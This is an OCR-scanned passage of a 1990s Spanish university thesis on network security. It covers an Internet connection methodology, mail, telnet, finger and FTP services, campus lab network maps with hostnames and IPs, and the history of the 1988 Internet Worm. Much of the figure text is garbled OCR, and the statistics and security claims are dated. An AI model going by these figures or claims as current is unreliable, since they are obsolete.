El crec1m1ento rebasará los 120 millones de hosts conectados para el nuevo siglo, el impresionante crecimiento de Internet demandará nuevos controles y regulaciones a aquellos que se conecten. Las oportunidades de negocio, estarán a la orden de un "click", los usuarios de Internet podrán ser los protagonistas de las nuevas aplicaciones y desarrollos que se irán dando. Sin lugar a dudas, este crecimiento beneficiará a todos, siempre y cuando aquellos que se conecten sean personas con una amplia cultura computacional y que sepan respetar la confidencialidad que otras redes imponen.

1.2.2. Así funciona Internet:

La red funciona gracias a una gran cantidad de computadoras conectadas entre sí por medio de cables de diferentes tipos y capacidades. Es un hecho que el equipo que forma la red es heterogéneo y gracias a la integración de toda esta tecnología se levantó la infraestructura que ahora se conoce como "Internet".

La capacidad de la computadora cliente o servidor, el tráfico de la red, las rutas alternas a las que los paquetes hayan sido enviados, la capacidad del medio, la distancia del host remoto, el tamaño del archivo a transmitir, los algoritmos de transmisión usados para proteger la información que viaja en la red (cifradores de mensajes); serán factores reelevantes que determinen la velocidad de transmisión de datos en una red conectada a Internet, aunado a esto la complejidad que presenta el entorno; nos obliga a presentar modelos de estandarización, ya sea de protocolos o de equipos que permitan al usuario final ver la misma información de la misma forma.

Desde que TCP/IP ha sido declarado como el protocolo de comunicaciones estándar, las organizaciones que se conectan a Internet deberán seguir las reglas y estándares marcados por dicho protocolo; es decir, aquella organización que desee formar parte de la red mundial tendrá que realizar planes de integración que contemplen el uso de éste. Y no sólo eso, ya que dichos planes no son fáciles de realizar pues se debe determinar toda una metodología en la cual se mencionen las necesidades y recursos de la empresa, tomando siempre muy en cuenta la seguridad. El plan del proyecto de conexión deberá integrar en cada una de sus fases a la seguridad como un elemento básico que determine los diferentes accesos remotos que se pudieran dar desde el exterior.

1.2.3. Metodología para proyectos de Conexión a Internet:

A continuación se plantea una metodología para llevar a cabo un proyecto de conexión a Internet, las bases para desarrollar dicha metodolgía fueron tomadas de la documentación del Director de los Laboratorios de Cómputo Especializado y el enfoque de seguridad es aportación del autor:

a) Determinar el diagnóstico global de las condiciones del cliente.

Tamaño de la Empresa. Presupuesto. Necesidades del cliente.

Determinación de las necesidades del cliente con priorodades por servicio. Recursos:

Equipo: Infraestructura de comuniciones ya instalada, ubicación, capacidades, costos y tipos.

Personal: Grado de conocimiento de los usuarios y planes de capacitación.

Restricciones legales: Cómo influyen las leyes al proceso de conexión.

17

Page 17: Estrategias para incrementar la seguridad de una red

Capítulo I

Conectividad. Contratos previos. Conexiones ya establecidas. Planes de Conectividad a empresas comerciales. (Renta del enlace).

Determinar los bloques de información con clasificación confidencial.

b) Mostrar las Alternativas que se ajustan a las necesidades y recursos de la Empresa.

c) Determinar los diferentes niveles de acceso a la red privada. Políticas de seguridad. Firewalls. Listas de Acceso. ( Determinación de hosts confiables). Algoritmos para enviar información cifrada por la red. Aislamiento de Internet a servidores con información crítica. (¿Es necesario diseñar una nueva topología?) Planes de respaldos. Administradores de seguridad. Herramientas de seguridad a utilizar para monitoreo periódico. Capacitación en seguridad computacional. Planes para asignación y distribución de "passwords". Planes de contingencia.

d) Elaboración de la propuesta de conexión. Se deberán indicar las diferentes alternativas que plantea el proyecto, los servicios que provee cada

alternativa, al igual que los costos incurridos y los planes operativos (duracion y actividad).

d) Determinación del plan global.

e) Formación del grupo mixto de trabajo. Determinar lider del proyecto. Determinar el equipo de gente operativa. (Programadores, Ingenieros en Sistemas y Comunicaciones, Personal del área de Sistemas de Información, Diseñadores en imagen corporativa). Personal de apoyo para proveer mecanismos de seguridad. (Staff). Determinar agentes de apoyo. ( Proveedores de información).

f) Determinación de funciones para el grupo mixto de trabajo.

g) Implementación de labores para el grupo mixto de trabajo.

h) Pruebas pre-conexión (internas).

i) Pruebas de conexión (al exterior).

j) Finalización del proyecto.

La metodología aquí presentada deja un claro ejemplo de cómo la seguridad puede ser implantada dentro de un site y cómo puede ser un punto impotantísimo a evaluar. En la actualidad muchas empresas han decido promover sus productos utilizando navegadores, que son programas que corren a nivel Internet y que le permiten al usuario final apreciar texto, video, sonido e imágen. Con el fin de que el usuario conozca las características del producto que se ofrece, la empresa contrata el enlace o utiliza la infraestructura de comunicaciones que ya tiene instalada y realiza conexiones en forma constante; si la programación de las actividades en la organización no contempla un plan de seguridad, es probable que la confiabilidad de la información se encuentre comprometida.

18

Page 18: Estrategias para incrementar la seguridad de una red

Capítulo I

Veamos el siguiente escenario:

A continuación se ejemplifica un modelo en el cual no se han tomado en cuenta planes de seguridad y de alguna manera representan un riesgo para la red privada. En este modelo se plantea la siguiente situación:

Un empleado "X" realiza una conexión remota hacia un servidor en otra ciudad utilizando un módem como interfaz de comunicaciones [ Ver figura 1.5 ]:

Ciudad Remota

Solicitud de Conexión

de Terminales • Envío dl' login y pas;sword

~-----~ Servidor de Como UNIX ~

Empleado "X"

Módem V .32 / 34

SLIP. PPP o UUCP

[ Figura 1.5] - Conexión remota de un usuario vía módem.

La conexión que realizó dicho empleado, no muestra algún plan que autentifique la identidad del mismo, ya que el sistema únicamente solicitó login y password como identificación y confió en éstos para otorgar la sesión remota. La persona que realizó la conexión, pudo haber sido cualquier otra persona en cualquier otro lugar.

Un modelo más seguro puede ser aquel en el cual el individuo se autentifica proporcionando un dato extra para poder asegurar el origen de la petición [ figura 1.6].

Número Telefónico

xxxxxxxxxx

Semilla A lgorítm o generador de "id"

"id"

[ Figura 1.6] - Generación del "id" para un usuario remoto.

Cuando el usuario remoto haga la petición de sesión al sistema, el programa servidor, deberá obtener tres datos para autentificar al usuario remoto: login y password, para autentifcar en el sistema y el "id" único para autentificar la conexión, de modo que el teléfono será el número que determine si el usuario es confiable o no dentro del sistema. El teléfono deberá ser enviado en el momento de la petición de conexión en forma transparente y confidencial para el usuario. Este esquema es similar al usado en listas de control de acceso.

19

Page 19: Estrategias para incrementar la seguridad de una red

Capítulo I

Para hacer posible que este modelo funcione, es necesario modificar los programas que intervienen en la sesión.

lo. El programa que realiza la petición de conexión vía módem (programa cliente) deberá enviar anexo al mensaje el número telefónico origen. Este paso debe ser desconocido por la persona que solicita la conexión. Este dato autentifica un poco más a la persona que se conecta. ( Ver figura 1.7)

sol_conx, #te! }

[ Figura 1.7] - Petición remota de un usuario vía módem.

2o. El servidor recibe el teléfono corno semilla y genera el "id", éste será comparado con la relación del sistema y si el "id" generado coincide con el "id" en el sistema se permite el acceso a la conexión , de lo contrario se niega.

En caso de que el sistema permita el acceso, el programa servidor, deberá responder pidiendo el login y password al usuario remoto para realizar la autentificación en el sistema.

3o. El usuario remoto deberá ingresar su nombre de usuario (login narne) y clave de acceso (password), datos que serán enviados al sistema.

4o. El sistema obtiene los datos y realiza el proceso de autentificación normal. Genera el password cifrado del usuario remoto Compara los datos obtenidos con la tabla de usuarios. Permite el acceso si los datos son correctos o niega el acceso si los datos no son correctos.

Por razones obvias, este modelo aún no es del todo seguro, pero si se implanta, deberá ser un esquema confidencial en el cual sólo los administradores de la seguridad deberán conocer el funcionamiento y los algoritmos usados. Un elemento que puede incrementar la seguirdad es utilizar un algoritmo para enviar todos los datos cifrados por la red.

Este modelo limita al usuario a tener sólo un número telefónico para establecer sesiones remotas, pero puede darse libertad a que éste solicite la alta de otro número telefónico, de modo que el usuario contará entonces con dos identificadores ("id"). Se debe establecer una política que defina un número máximo de "id's" por usuario, y se deben establecer las responsabilidades del mismo al solicitar uno o más identificadores.

Corno pudimos apreciar los recursos que ofrece Internet son vastos pero inseguros, el costo que implica realizar "saltos" entre hosts incrementa la posibilidad de recibir un ataque ya que por cada conexión remota QO lb(,

BIBLIOTECC se está enviando información suficiente para que un "cracker" actúe en contra nuestra.

1.2.4. La importancia de Internet.

Existen razones suficientes para justificar una conexión a Internet (Ref[33]):

• El crecimiento de Internet está estimado a un incremento del I 0% de su base total mensual

• Se predice que dentro de I O años todo el mundo estará conectado a Internet

20

Page 20: Estrategias para incrementar la seguridad de una red

Capítulo I

• La gran cobertura de computadoras distribuídas en todo el planeta ha contribuído enormemente para lograr una globalización de la información

• Millones de datos fluyen a través de estas redes en cuestión de segundos logrando enlaces remotos a miles de kilómetros

• Cerca de 636,000 hosts conectados a internet están en instituciones educativas y cerca de 500,000 estan registradas como usuarios comerciales.

• Los usuarios comerciales están creciendo más rápidamente que cualquier otro segmento de la cobertura de usuarios de Internet.

• Las compañías privadas han descubierto en esta tecnología una área de oportunidad para obtener ventajas competitivas

• Internet tiene una población estimada de 20 millones de usuarios con una presencia en 146 países

• Existe un estimado de 7000 grupos de noticias (usenet) cada uno de ellos dedicado a un tópico en particular

• Los servicios que pueda obtener con una computadora conectada a Internet son: usenet, ftp anónimo, archie, gopher, verónica, www, e-mail, bbs, entre otros.

• La figura 1.8 muestra el crecimiento que han tenido los servicios que permiten buscar información por todo Internet.

[ Figura 1.8] - Crecimiento de servicios para bpusqueda de información en lnternet.

La preocupacron de los administradores de redes es grande ya que cada vez se implementan nuevos mecanismos que son usados para atacar redes privadas. A principios de la fundación de Internet nos dimos cuenta que la filosofía estaba orientada a sistemas abiertos, la seguridad no era un factor importante pues se confiaba en la buena fé y cultura de los usuarios. Actualmente es difícil confiar ya que contamos con un gran número de usuarios que incluyen grupos que se han dado a la tarea de violar mecanismos de seguridad en los sistemas. La comunidad computacional los conoce como "hackers".

21

Page 21: Estrategias para incrementar la seguridad de una red

Capítulo I

1.2.5. Servicios que ofrece.

Una vez que los usuarios tienen una conexión directa a Internet, podrán hacer uso de una variedad de herramientas para enviar y recibir correo electrónico, transferencia de archivos, establecer conexiones a sistemas remotos o buscar inforrnación en otros servidores en la red. Las herramientas usadas para hacer ésto son ftp para transferencia de archivos, mail o mailx para envio y recepción de correo y telnet para establecer conexiones remotas.

Actualmente Internet ofrece muchos recursos basados en ciertos servicios y cada vez van apareciendo más, algunos nuevos gracias a personas inteligentes que encuentran una forma nueva de utilizar la red. El correo electrónico, transferencia de archivos, acceso a noticias, conocimiento de personas en ciudades lejanas, se están convirtiendo en actividades cotidianas de los usuarios en la red. A continuación se explican los servicios que desde nuestro punto de vista son los más importantes (Fuente Ref[28]):

Correo electrónico.

Sin lugar a dudas, el servicio de correo electrónico (electronic mail) es la columna vertebral de Internet, gracias a éste, la comunicación en las organizaciones es más ágil y a más bajo costo. Realmente, para muchas personas el correo electrónico es Internet.

Este servicio es capaz de transportar cualquier tipo de inforrnación: documentos, publicaciones, programas, mensajes, imágenes, y sonido, entre otros. Un ejemplo claro de lo maravilloso de esta herramienta se vive actualmente, tomemos el caso de los estudiantes de la Universidad de Francia, la Universidad de California y el Tecnológico de Monterrey que juegan con simuladores de negocios en sus computadoras locales, toman decisiones de acuerdo a las características del mercado local y obtienen resultados. Una vez que se ha terrninado de correr la simulación, intercambian puntos de vista vía correo electrónico enviando resultados a cada país involucrado de modo que el estudiante reciba una visión más amplia educándose dentro de un ambiente internacional compartiendo puntos de vista en entornos diferentes y estableciendo estrategias diferentes.

El problema principal del correo electrónico, al igual que la mayoría de herramientas de conexión remota, es que la información que se envía viaja en texto claro por el cable perrnitiendo que algún usuario ocioso pueda interceptar la información y usarla para fines personales.

Mensaje en claro ..

Inuuso cooricnllo "programas cspia" (spoofi11g).

Intruso

[ Figura 1.9] - Intruso espiando información que viaja por el bus.

La figura 1.9, muestra un par de usuarios (Usuario 1 y 2) que están enviando correo, nótese la acción que realiza el intruso, está analizando los mensajes que viajan por la red y está violando el derecho de confidencialidad.

La entrega de los mensajes estandarizada por un sistema de correo llamado SMTP (Simple Mail Transfer Protocol), como parte de la familia de protocolos TCP/IP describe el forrnato de los mensajes de correo y cómo deberán manipularse para realizar su entrega.

22

Page 22: Estrategias para incrementar la seguridad de una red

Capítulo I

El programa agente de transporte (demonio del correo) que se ejecuta en segundo plano (background) siempre está listo para responder a cualquier petición que reciba.

Aprovechando la facilidad para el procesamiento multitarea y multiusuario, UNIX utiliza muchos servicios corriendo en segundo plano, estos servicios son comúnmente conocidos como "demonios" (daemons), la mayoría de los sistemas que soportan este sistema operativo utilizan el demonio llamado "send mail".

Actualmente hay muchos programas de correo que ofrecen menus gráficos o de texto y corren sobre diferentes plataformas, entre los más conocidos están "mail-tool" de SUN, "pine" que corre sobre terminales de estaciones de trabajo, Z-mail para computadoras de escritorio y estaciones de trabajo como PC, Macsun, Rs; Eudora, ELM e incluso la versión 2 de Netscape ya viene con una implementación extra configurable para envío y recepción de correo.

Existe también otro protocolo llamado POP (Post Office Protocol) para correo electrónico, el cual funciona de la siguiente forma: Supongamos que nos es enviado un mensaje del otro lado del mundo. En cada paso el mensaje se envía de computadora a computadora en Internet utilizando SMTP como protocolo durante su camino. Finalmente, el mensaje llega a la computadora que funciona como central de correo u oficina postal electrónica, en el último paso en el cual yo hago la petición de correo desde mi terminal es cuando tengo el control completo del correo puesto que los mensajes se almacenan en mi computadora.

Z-MAIL

[ Figura J. JO] - Usuario moviendo su correo del servidor a su PC.

La figura 1.1 O, muestra cómo un usuario realiza la petición de correo a su servidor, que es una máquina remota, la cual envía todos los mensajes que el usuario ha recibido, dichos mensajes serán movidos del servidor de correo al disco duro del usuario.

Los agentes de usuario basados en POP están programados para utilizar las características especiales de cada computadora, es por eso que muchas aplicaciones de correo pueden ser portables.

El problema de la seguridad se presenta nuevamente pero con una visión distinta, ya que con un agente de usuarios basado en POP, todos los mensajes son enviados desde la computadora central a nuestra computadora y se almacenan en archivos de texto de modo que si otra persona tiene acceso a mi computadora, entonces podrá ver mis mensajes.

No se descarta también el hecho de que toda la información que viaja a través de la red lo hace en texto claro. Una posibilidad de transmisión segura es que la información viaje cifrada hasta el destino final y que la persona receptora del mensaje cuente con la llave única que pueda decifrar el mensaje. La versión de Netscape seguro actualmente cuenta con el algoritmo de criptografía de llave pública RSA, dicho algoritmo se considera como el más seguro para enviar información cifrada por la red.

23

Page 23: Estrategias para incrementar la seguridad de una red

Capítulo I

Telnet.

El programa utilizado para emulación y conexión de terminales en forma remota se llama "telnet".Este autentifica al usuario que solicita la conexión usando el programa "login" del sistema, el cual deberá pedir el nombre del usuario ("login name") y la clave de acceso ("password"), estos datos serán comparados con los que se encuentran en la tabla de usuarios del sistema remoto, el password se encuentra cifrado en dicha tabla y este será el medio para asegurar que la persona a ingresar es un usuario autentico, en caso de que los datos ingresados no correspondan a ninguno de los que se encuentran dados de alta en la tabla de usuarios, el sistema deberá negar el acceso.

Una vez que se realiza la conexión, telnet actúa como un intermediario entre nosotros y la computadora remota. Cada vez que se pulse una tecla en nuestra computadora, ésta es enviada por el cable a la computadora remota.

Finger.

La mayoría de las computadoras de Internet tiene una utilidad que permite buscar información sobre un usuario en particular. Este servicio es conocido como "finger". Este comando ha sido utilizado por lo "hackers" para encontrar información de las posibles victimas. Aunque actualmente muchos hosts no mostrarán información alguna por razones de seguridad. El tipo de información que puede ser obtenida con el comando "finger" es la siguiente:

El identificador de usuario . El nombre completo de la persona. Si el usuario está conectado. La fecha de ultimo acceso. Si el usuario ha leído o no su correo.

La información referente a los datos personales del usuario pueden ser configurables para que finger nos la provea. También es posible hacer un finger a un host remoto con el fin de conocer los usuarios conectados en ese momento a aquel host remoto. Como dato interesante algunos sistemas utilizan el comando finger para suministrar alguna información específica. Por ejemplo, en la Universidad de Carnegie Mellon en Pensylvania, se puede hacer un finger para saber si la máquina de Coca Cola está vacía o no. De la misma forma se puede comprobar el estado de la máquina de dulces.

FTP.

El Protocolo de Transferencia de Archivos en internet se llama FfP ( File Transfer Protocol), este servicio es uno de los más importantes en la red, provee de un conjunto de características y opciones para el usuario tales como: autentificación, conversion de datos y listas de directorios.

Funciona de la siguiente forma:

El cliente hace una petición de FTP al servidor remoto:

firewall /home/riclopez $ ftp rselec Connected to rselec.cem.itesm.mx. 220 rselec FTP server (Version 4.9 Thu Sep 2 20:35:07 CDT 1993) ready. Name (rselec:riclopez): riclopez 331 Password required for riclopez. Password: 230 U ser riclopez logged in. ftp>

24

Page 24: Estrategias para incrementar la seguridad de una red

Capítulo I

Podemos afirmar que los recursos con los que contamos, al paso de los meses van resultando obsoletos, es posible decir que una máquina modelo "X" es obsoleta a partir de cierto tiempo, pero que no digan lo mismo del hombre que siempre tiende a ser perfectible, debemos actuar con los cambios para lograr ser parte de estos y evitar caer en la obsolescencia.

Internet es ahora la red más grande del mundo, quizá mañana lo siga siendo, es por esto que debemos aprovechar los recursos que ésta nos ofrece, ¡conectémonos al mundo!, seamos parte de esa globalización, seamos parte del cambio, tratemos de levantar la mirada y entrar al grandioso mundo de Internet, la red más grande del mundo.

1.2.6. Mapas de Conexión a Internet.

He decidido comenzar por un mapa que nos muestre en forma completa el estatus de Internet a nivel mundial. Como podremos notar, este mapa muestra claramente cómo una gran cantidad de países ya estan conectados. La fecha de cierre de este mapa corresponde al 15 de Junio de 1995. (Figura 1.11 ).

TI-1'11rap1lll)'tll'd:IW1"dvl9arur¡1111W31111p -n .e1.'111.:l'~.c:C1T1•dYI 1.:ffdn

INTERNATIONAL CONNECTIVITY • lnte~::~lon 14 - &IUi/95

• Bltnat but nat lntern•t

li!il Elhll Only (UUCP, FldoNet)

D No Connectlvlty

CaprtlDtll Cl1HI larrrL•ndw.Oer .,.. ltie lnlffn9'1 &c,cl•IJ. Unllmlled ~••ml••IDn le, CCIPJ' CH 11•• •• l'lereby g, .... d 1wbtH,l u, ln~h .. lon ol 0,11 ~DPJrlgM l"IOIICe.

[ Figura 1.11] - Mapa de lnterconectividad mundial (Ref[46]).

Como podemos ver, Internet esta ahora en la gran mayoría de países en el mundo, y cada día crece más. Veamos a continuación como se encuentra conectado nuestro país en la figura 1.12:

25

Page 25: Estrategias para incrementar la seguridad de una red

Capítulo I

El siguiente mapa muestra cerca de 100 servidores que corresponden a los más importantes de México:

Oistrito redera! (tdéo<icoaty)

México VVWi/1/ Server·s

Alfredo De R · il <>:ide:r -cqil@,;,ci:idie:rdJl . nrt: . it,t;sm . mx> eCIF'N

New

•Acceso lnleractivo elmage Net

lnst Tec de ,,,é,ids e •mi~D Mundo Interne te• CINl/r.STAV~PNe eF lnQ

Diario de Yucstén • Novedades Yucaténe

Mor ll ~ 1996

[ Figura 1.12] - Mapa con los servidores más importantes de México, (Ref[47]).

Siguiendo con el marco de referencia que planteamos al principio, "entremos" a lo que es hoy la "red de tec", veamos cómo están conectados los 26 campus del Sistema ITESM: (Figura 1.13)

Mapa de Conexión de la Red ITESM CEM:

Satelital 64 kbps Terrestre 64 kbps

Terrestre I 28 kbps Terrestre2.048 Mbps

Campus Chihuahua

Campus Sonora Norte

Campus Zacatecas

Campus Saltillo

Campus Cd. Obregón

Campus M,

Internet ( Dallas Tx.) Topología de la RED ITESM 1

ampus Monterrey

=--- Campus Eugenio Garza Lag~0

era Campus Eugenio Garza Sada Campus Laguna Campus Tampico Campus Cd. Juarez

Campus León

Campus Sn. Luis Potosí

,,,• Campus Chiapas

,,,,,,.,·_ .. ,·• Campus Toluca

,./<.--/·~ .... --• Campus Guaymas

,,_...,.. ... "" .. º;:_rJ:ii~~:~:~~~::=~-: ~:::~: ~:,::: <:::::::~~-:::-··-----• Campus lrapuato

---------• Campus Veracruz

Escuela de Gradudos en Administración Campus Morelos

[ Figura/.13] - Mapa de Conectividad intercampus del JTESM, (Ref[48]).

26

Page 26: Estrategias para incrementar la seguridad de una red

Capítulo I

En este mapa podemos apreciar la importancia del Campus Estado de México a nivel sistema, ya que proporciona el soporte de conexión a 12 campus; el enlace de 2.048 Mbps que corre hacia Monterrey es vital para la conexión a nivel nacional, conecta Campus Estado de México, RTN, Mexnet y Monterrey para después salir hacia Dallas Tx, proporcionando el enlace a E.U.

Veamos ahora la red del Campus Estado de México en la figura 1.14.

Mapa de la RED ITESM CEM:

- CC I - lB M ES /9 O O O - DG I - I BM SP 2 - RED SATE LITAL - RD I

PREPA

AN ILLO FDDI

1i-011m2nn:v ~t íi~J ""1,~10""'11w11;-----r_:!:':º::F::1r:c=1N=A'.._s_-.

- SALA DE ALUMNOS

- L CE 's

ADMVAS. - BIBLIOTECA - PROFESORES

[ Figura J./4] - Mapa de conectividad del JTESM CEM, (Ref{49])

En este mapa vemos a los servidores más importantes de CEM, conectados por medio de equipos especiales (Concentradores Crescendo) al anillo de alta velocidad, dicho anillo es de fibra óptica y es conocido por el personal de Informática como el anillo fddi (Anillo de FDDI "Fiber Data Distribution Interface Ring"), que enlaza a todo el campus, mismo que se conecta, como vimos en el mapa anterior a toda la Red del Sistema ITESM.

Notemos la conexión del los Laboratorios de Cómputo Especializado (LCE's) dentro de esta topología, todas las redes de dichos laboratorios, están conectadas directamente a un equipo "Crescendo" que concentra dichas redes y las conecta directamente con el anillo de Fibra óptica. Por la dirección que llevamos podremos ver la dimensión de la Red a nivel Sistema ITESM, pero para fines de éste proyecto, habremos de concentrar nuestro trabajo en una "pequeña" subred del los Laboratorios de Cómputo Especializado, es por ésto que a continuación mostramos el

27

Page 27: Estrategias para incrementar la seguridad de una red

Capítulo I

Mapa de los Laboratorios de Cómputo Especializado (LCE) del ITESM CEM.

p ~=====~ s l::======l

HP lah- dacs.ccm ·1csm.m e LAN 1.iM,2-11.<•1.1.,n

SERVER

HP LAN

SPARC sunscrv2.ccm.itcsm.m scrvcr 148.241.61.12::1

clientes

SUN

14R.24l.64.154

14K.24l.64.IH6

utp

HP 7)5

RS/IBM scrvcr

550

utp

utp RS/IBM scrvcr

550

utp

SPARC 1-+-i======'4> utp slation

IPC

h ·ddi.ccm.ilcsm.m

14H.241 J2.14

r.;;mcddi.ccm.itcsm.mx

l 4H.24 I.J2. l 2

somin.ccm.ih.:sm.mx 14R.24 l.64.225

soclct:.ccm.itcsm.m:i: l 4R.241.64.250

14R.241.J2.D

slahcddi.ccm.ilcsm.mx 14H.241.J2.I I

cddi e R E

cddi e E N D o

cddi

cddi

[ Figura 1.15] - Red de los laboratorios de Cómputo Especializado en el ITESM CEM, (Ref [50]).

Notemos que a pesar que esta red tiene 2 años de haber sido liberada, ésta red es bastante grande y tiene una gran infraestructura, habremos de aclarar que el crecimiento de la misma aún no termina y tiene proyectos de crecimiento, debido a todo lo anterior, pensamos que era necesario ubicar al lector y se decidió partir de lo más general a lo más particular.

Una vez que ya se ha familiarizado con la red anterior, entremos pues a la red que es en la cual habremos de enfocar todos nuestros experimentos, ésta red es conocida por la mayoría de los usuarios en el campus, como el laboratorio de SUN, ya que precisamente cuenta con 30 estaciones SUN modelo tipo con 28 Mbs en RAM y un servidor dedicado llamado "sunlab", el sistema operativo que corre es SunOS ver 4.1 y brinda servicio a los departamentos de Ciencias Computacionales y Sistemas de Información de la División de Ingeniería y Ciencias del Campus Estado de México. Cabe hacer la aclaración que éste laboratorio está en etapa de actualización de equipo, a la fecha en que este trabajo era escrito.

28

Page 28: Estrategias para incrementar la seguridad de una red

Capítulo I

La topología es la siguiente:

Mapa del L.C.E. de los Departamentos de Ciencias Computacionales y Sistemas de Información plataforma SUN (LCE SUN).

colombia cuba jamaica

bolivia guyana veneruela

••• Red de PS

argentina usa

[Figura 1.16] - Laboratorio de Cómputo Especializado de los Departamentos de Ciencias Computacionales y Sistemas de Información. (LCE Sun).

En la figura 1.16, se observan las máquinas "canada" y "bolivia", éstas máquinas fueron utilizadas para realizar algunas pruebas que se presentan y se detallan en el capítulo IV algunos ataques. También es importante tomar atención que la figura hace un señalamiento hacia una red de PS's o PC's, lo cual significa que en el mismo bus se encuentra conectada una red de PC's y el servidor "sunlab", sirve como gateway a las PCs para salir a Internet. Lo rescatable de ésta observación es que la red de PCs puede llegar a comprometer la red de Sun.

29

Page 29: Estrategias para incrementar la seguridad de una red

Capítulo 11. El gusano de Internet.

("The Internet Worm ").

2.1 Antecedentes.

Capítulo 11

La mañana del 2 de Noviembre de 1988, desde un punto de vista muy personal, marca el fin de la era de las redes confiables, para dar paso al comienzo de una nueva era: La era del manejo de la Información Electrónica en forma segura, o la era de las redes no confiables.

No es hasta esta fecha cuando el impulso hacia las redes seguras es mayor, el manejo de información entre redes se hace cada vez más útil y necesario, pero la desconfianza entre redes se incrementa. La causa principal de esta desconfianza se debe a la aparición de un programa misterioso y extraño, que gustaba de dejar mensajes en los archivos bitácora(" lag files") de los administradores de redes. El descubrimiento de archivos poco usuales y extraños en el subdirectorio /tmp de las terminales, aunado a procesos que aumentaban la carga del sistema reduciendo el desempeño normal de la red, eran claro indicio de que algo estaba sucediendo.

Un programa misterioso aparecía en diferentes centros de cómputo, acumulaba información de usuarios, terminales, rutas de redes vecinas, y utilizaba esa información para establecer conexiones remotas hacia otras terminales, irrumpía y se hacía presente en el nuevo sistema infectado. Una vez que el programa entraba a su nuevo "hogar temporal", se autoreplicaba creando dos copias. El programa hijo creado debería intentar infectar otros sistemas de la misma forma en que el programa padre lo había hecho.

El síntoma más notable era el alto procesamiento en las terminales , dicho procesamiento crecía cada vez más hasta el punto en que la terminal se cargaba tanto que no era posible continuar trabajando. Era necesario actuar, tratar de conocer el programa y su funcionamiento, era necesario detener el programa que amenazaba inundar la red Internet.

2.2. ¿ Qué es el Gusano de internet?.

Dentro de la literatura que habla acerca del gusano de Internet, algunas personas lo llaman indistintamente gusano o virus. Para propósitos de clarificar la terminología, definamos la diferencia entre virus y gusano. Peter Denning (Ref. [2]), explica una definición de cada término:

Un gusano es un programa que puede correr independientemente y propagar una copia o versión completa de sí mismo en otras máquinas. Este nombre es derivado de la palabra "tapeworm" , un organismo parásito que vive dentro de otro organismo y que usa los recursos de éste para mantenerse.

Un virus es una pedazo de código que aumenta a sí mismo otros programas, incluyendo sistemas operativos. Un virus no puede correr en forma independiente, éste requiere de que el otro programa anfitrión corra para que el virus se active.

30

Page 30: Estrategias para incrementar la seguridad de una red

Capítulo II

El concepto de programa gusano "program worm" que se extiende por sí mismo de una máquina a otra fue aparentemente descrita por John Brunner en 1975. Él llamaba solitaria "tapeworm", a aquellos programas que existían dentro de las computadoras y se autocopiaban a otras máquinas.

El término de virus computacional fue usado por vez primera en una manera formal por Fred Cohen en USC. En aquella conferencia Fred Cohen definió un virus computacional como "un programa que puede infectar otros programas e incluye la posibilidad de desarrollar una copia de si mismo". Sin embargo existen cuentas con programas virus creadas por un estudiante de Texas A&M durante 1982.

Una vez definido los términos de virus y gusano hemos de utilizar el término de "worm" o gusano para referirnos al programa en cuestión.

2.3. ¿ Qué hizo el Gusano de internet?.

Desde el punto de vista técnico, el gusano constaba de dos programas, el "arrancador" y el gusano propiamente dicho. El arrancador era un archivo de 99 líneas en C, llamado 11.c. Se compilaba y ejecutaba en el sistema por atacar. Una vez ejecutado, se conectaba con la máquina de la que provenía, cargaba el gusano principal y lo ejecutaba. Despues de ciertos problemas para ocultar su existencia, el gusano buscaba en las tablas de rutas la nueva victima para poder enviar ahi al programa arrancador, además de que el programa ponía como nombre de proceso "sh", con el fin de evitar ser descubierto como programa sospechoso.

No se sabe si la versión liberada el 2 de noviembre de 1988 por el estudiante de Cornell, Robert Tappan Morris, era una prueba o era real. En todo caso hizo que la mayoría de los sistemas V AX y Sun de internet se hincaran ante éste durante unas horas después de su aparición. La motivación de Morris se desconoce, aunque es posible que pretendiera una broma práctica de alta tecnología, pero que debido a un error de programación se le escapó de las manos.

Morris fue capturado cuando uno de sus amigos habló con el reportero del área de computación del New York Times, John Markoff para intentar convencerlo de que todo había sido un accidente, que el gusano no provocaba daños y que el autor estaba arrepentido. El amigo dejó entrever de manera inadvertida que el nombre de usuario utilizado fue "rtm", la localización del autor fue sencilla, solo bastaba dar un finger al sistema con "rtm". Al día siguiente, la historia estaba en primera plana, incluso por encima del tema de la elección presidencial que se llevaría a cabo tres días despues (Ref. [ 1 ]).

Morris fue juzgado y condenado en una corte federal. Sentenciado a una multa de $10,000 dls, 3 años de libertad condicional y 400 horas de servicio a la comunidad.

2.4. ¿ Qué no hizo?.

Aunque muchas personas tacharon como un acto de vandalismo computacional el hecho de que Morris liberara y pusiera en funcionamiento el programa, considero que ésto no tenía un objetivo destructivo, tan es así que dicho programa pudo haber ingresado a los sistemas y aprovechando otros huecos de seguridad obtener privilegios de "root" en los sistemas y apoderarse de ellos. Si este programa se considerara destructivo, los posibles ataques que este programa pudo haber intentado son los siguientes:

1.- Atacar cuentas conocidas con privilegios especiales ("root"). 2.- Destruir o modificar datos. 3.- Publicar información confidencial de la organización atacada. 4.- Dejar bombas de tiempo en cada máquina visitada. 5.- Robar información valiosa.

31

Page 31: Estrategias para incrementar la seguridad de una red

Capítulo 11

Sin embargo no lo hizo, desde éste punto de vista, yo veo al gusano como un programa que deja más experiencias positivas que negativas. Después de éste incidente comienza el nacimiento de nuevos grupos de usuarios, para auxilio de los administradores, dedicados a publicar huecos de seguridad en los sistemas Unix.

Comienzan a desarrollarse herramientas de monitoreo de redes, programas para verificar que la configuración de nuestro sistema sea lo más aceptable y con los menos huecos ya conocidos, herramientas que sugieren "parches" para el sistema y evitar posibles filtraciones no deseadas.

Es un hecho que el Gusano de Internet plantea una nueva etapa en las redes de computadoras en la que será necesario considerar la seguridad como punto importante y analizar muy bien el entorno para determinar cuales serán las reglas que regiran nuestra red.

2.5. ¿ Cómo lo hizo?.

Para poder explicar ampliamente cómo funciona éste programa, listemos las rutinas más importantes del programa.

2.5.1. El programa (ref. [26]).

• main: Hace algunos pasos de inicialización y ejecuta el loop el cual organiza todo el trabajo real

initialization: Hace algunos pa~os para auto-ocultarse. Cambia el argumento "zeroth", el cual es el nombre del proceso, a sh. (Boume Shell) Deja el archivo core=Zero Blocks. Si el prog. truena, no deja algun modo de rastreo para los investigadores. Lee el reloj, almacena la hora en una variable y usa el valor para generar un número random.

Command Iine argument processing:

• H routines hg:

rt_init:

hl:

hi:

ha:

